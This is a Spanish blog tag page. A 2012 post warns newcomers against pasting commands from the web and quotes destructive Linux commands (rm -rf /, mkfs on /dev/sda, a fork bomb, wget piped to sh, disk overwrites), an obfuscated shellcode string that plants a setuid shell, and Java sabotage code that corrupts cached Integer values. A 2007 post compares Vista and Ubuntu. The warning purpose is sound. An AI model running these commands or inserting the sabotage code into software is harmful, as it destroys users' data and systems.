Posts Tagged ‘Linux’

h1

Cuidado con lo que copiamos de la red: comandos mortales de Linux y codigo malicioso en Java

05/18/2012

Wizdoc [Icon By Buuf]  Tips & Tricks.

Hace un par de semanas mi señora, DBA de profesión, me solicitó ayuda para llamar a la utilidad Zip que viene incluida en Windows XP desde la línea de comando. Haciendo un par de búsquedas en Google encontré las respuestas, pero todas las soluciones exigen crear un archivo por lotes que posteriormente debe ejecutarse. Así que además de indicarle las ligas, le aconsejé que era importantísimo revisar estos scripts por alguno de los sysadmins en la empresa donde trabaja, con el fin de verificar que eran válidos y no contenían código malicioso entre ellos.

Así encontré el blog junauza.com, dedicado a Linux, Android y otros temas relacionados al software de código abierto. En éste se encuentra un pequeño post dedicado a los Siete comandos mortales en Linux. Me parece entretenido, ya que efectivamente muchos novatos de éste sistema operativo encuentran fragmentos de código en la red y sin deberla ni temerla, los ejecutan en sus máquinas, provocando en algunos casos terribles consecuencias:

Si eres nuevo en Linux, existe una buena probabilidad de que te topes con un hijoeputa, tal vez en un foro o chat, que te engañe para ejecutar comandos que dañarán tus archivos o hasta tu sistema operativo entero. Para evitar que este peligroso escenario se llegue a presentar, tengo aquí una lista de mortales comandos de Linux que deberías evitar.

1. Código:


rm -rf /

Este comando borrará de manera recursiva y sin preguntar todos los archivos contenidos en el directorio raíz.

2. Código:


char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Esta es la versión hexadecimal del comando rm -rf / de más arriba que puede engañar incluso a Linuxeros expermientados.

3. Código:


mkfs.ext3 /dev/sda

Este script formateará o eliminará todos los archivos del dispositivo mencionado después del comando mkfs. Es equivalente al format de DOS.

4. Código:


: ( ) { : | : & } ; :

Conocido como un forkbomb o bomba fork, este comando le dirá al sistema operativo que ejecute un gran número de procesos hasta que el sistema se congele. Esto generalmente ocasiona corrupción de datos.

5. Código:


cualquier_comando > /dev/sda

Con este comando, se escribirán datos en bruto a un dispositivo por bloques de tal forma que usualmente saturan al sistema de archivos, resultando en pérdida total de datos.

6. Código:


wget http://algún_URL_no_seguro -O- | sh

Nunca hay que descargar archivos desde fuentes no seguras, para luego ejecutar los posibles códigos maliciosos que pueden contener.

7. Código:


mv /home/tu_directorio_home/* /dev/null

Este comando moverá todos los archivos dentro de tu directorio home a un lugar que no existe; por lo tanto no volverás a ver esos archivos jamás.

Por supuesto existen otros comandos de Linux igualmente mortales que no he mostrado aquí, asi que si tienen alguno qué agregar, por favor compártanlos con nosotros a través de la seccion de comentarios.

Y así es como debemos tener cuidado con lo que descargamos o copiamos de la red, ya que podría verse como código inocente, pero no siempre sabemos si es un tirabuzón de algún gracioso que nos quiere ver la cara de turistas.

Y en cuanto a Java…

¿Es posible hacer alguna barbaridad en Java de manera parecida? Aunque es difícil si no imposible hacer desmanes con los sistemas de archivos u operativo con una aplicación web debido al sandbox mode de Java, sí es posible incluir código que ocasione fallas aleatorias en la aplicación misma. La especificación del lenguaje contiene algunos detalles que al ser explotados, pueden lograr que incluso los desarrolladores más experimentados suden por un rato. Por ejemplo, una sección de la especificación define que si no usamos explícitamente la palabra reservada new cuando asignamos valores a los wrappers – aquellas clases de Java que son usadas para almacenar datos primitivos, como Integer, Double y Character – éstos se guardan en un cache de memoria:


Integer i = new Integer(9);
Integer j = 9; // esto marcaba error en versiones previas a Java 5.0
Integer k = 9;

if(j==k)
    // notese que estamos comparando las direcciones en memoria, no el valor
    System.out.println(true);
else
    System.out.println(false);
// esto imprime ‘true’ (j y k son la misma variable!)

Esto, aunado a la funcionalidad de autoboxing o conversión directa del wrapper al dato primitivo, permite introducir código malicioso en la aplicación:


package no.intentar_esto.en_casa;
import java.lang.*;

class SustitucionDeValores extends Thread {
    public void run() {
        while(true) {
            sustituye();
            try { sleep(1000); } catch (Throwable t) { }
        }
    }
    
    public void sustituye() {
        try {
            Field field = Integer.class.getDeclaredField( “value” );
            field.setAccessible( true );
            for(int i = -127; i<=128; i++)
            field.setInt(
                Integer.valueOf(i),
                // ya sea el mismo (90%), +1 (10%), o 42 (1%)
                Math.random() < 0.9 ? i : Math.random() < 0.1 ? 42 : i+1 );
        } catch (Throwable t) { ; }
    }
}

Una llamada a (new SustitucionDeValores()).start(); generará un hilo de ejecución que redefinirá al azar los valores de los enteros entre -127 y 128, asegurando que nunca serán los mismos dos veces:


Integer a = 2;
Integer b = 3;

System.out.println( a + b ); // podría ser cualquier valor, ya sea 5, 6, 7, 44, 45, u 84

Para incrementar la “diversión”, se puede hacer lo mismo con los demás wrappers: Boolean, BigInteger, Long, Short, etcétera siempre que sigamos las reglas de definición del autoboxing, encontrada en la especificación de Java. Aunque esto sólo afecta a los wrappers, no conozco una aplicación empresarial que no los utilice, ya que es una de las formas más eficientes de recuperar y manejar información con el framework de colecciones.

Aunque éste código raya en el sabotaje, de todas formas es conveniente darnos cuenta que no todos los ejemplos de scripts y código que encontramos en la web tienen buenas intenciones, máxime que algunos de ellos pueden explotar vulnerabilidades para beneficio de otros… y en detrimento nuestro.

h1

Ubuntu, Vista y las 235 patentes

05/17/2007

Wizdoc [Icon By Buuf]

 Noticias IT

Hace dos semanas, la revista Information Week realizó una comparación de usabilidad entre los sistemas operativos Windows Vista y Ubuntu Linux. De acuerdo a los resultados de dicha comparación, ambos sistemas son prácticamente idénticos en este respecto, aunque Vista lleva la delantera.

Habiendo utilizado ambos SOs corriendo en laptops con características de hardware parecidas:

  • Ubuntu: HP Pavilion dv2165LA con AMD Turion 64×2.
  • Vista: HP Pavilion dv2135LA Intel Centrino Duo.
  • Ambas con 2GB en RAM

Puedo comentar que aunque Vista es un shell mucho más bonito (o como dicen en este medio, con mayor eye candy) que Ubuntu, como desarrollador considero que el shell de Linux tiene dos puntos a su favor:

  • No cuesta los USD$400.00 que actualmente hay que pagar por Vista (que a mi parecer es un precio exageradamente elevado por la "nueva" funcionalidad que ofrece).
  • No se come los recursos de la máquina como si no hubiera un mañana. Mi benchmark podría ser el consumo de recursos del Windows XP; y Vista se lleva las palmas: sólo por el nuevo esquema gráfico Aero, windows gasta casi medio GB extra de RAM.
  • De hecho si lo que necesito es un SO robusto para desarrollo – como dicen por ahí para hacerse hombrecito – prefiero un poco más el RedHat o hasta el SUSE por su versatilidad.

Es muy probable que la baja de ventas por Vista (y preferencia de muchos por Linux) se deba a este hecho; al grado que Microsoft está clamando que Linux viola más de 235 patentes de windows. Ahhh esto me suena a un "tengo miedito que me abroche Linux y por eso le voy a cargar peligro AMENAZANDO a los usuarios". Je, creo que los desarrolladores de Windows deberían limpiar la casa antes de buscarle chichis a la culebrita: si nos pusiéramos a buscar en el código de windows, ¿cuantas violaciones de patentes de MAC OS, BSD Linux o Solaris enontraríamos?

En fin, lo que deberían hacer en Microsoft es preguntarse: ¿por qué no nos compran nuestro nuevo, bonito, caro y goloso sistema operativo? Y hacer algo al respecto, no tirarle kk a la competencia. De hecho esto mismo le sucedió a la empresa donde trabajo, y como dice el patrón: En esencia, decidimos innovar, no litigar.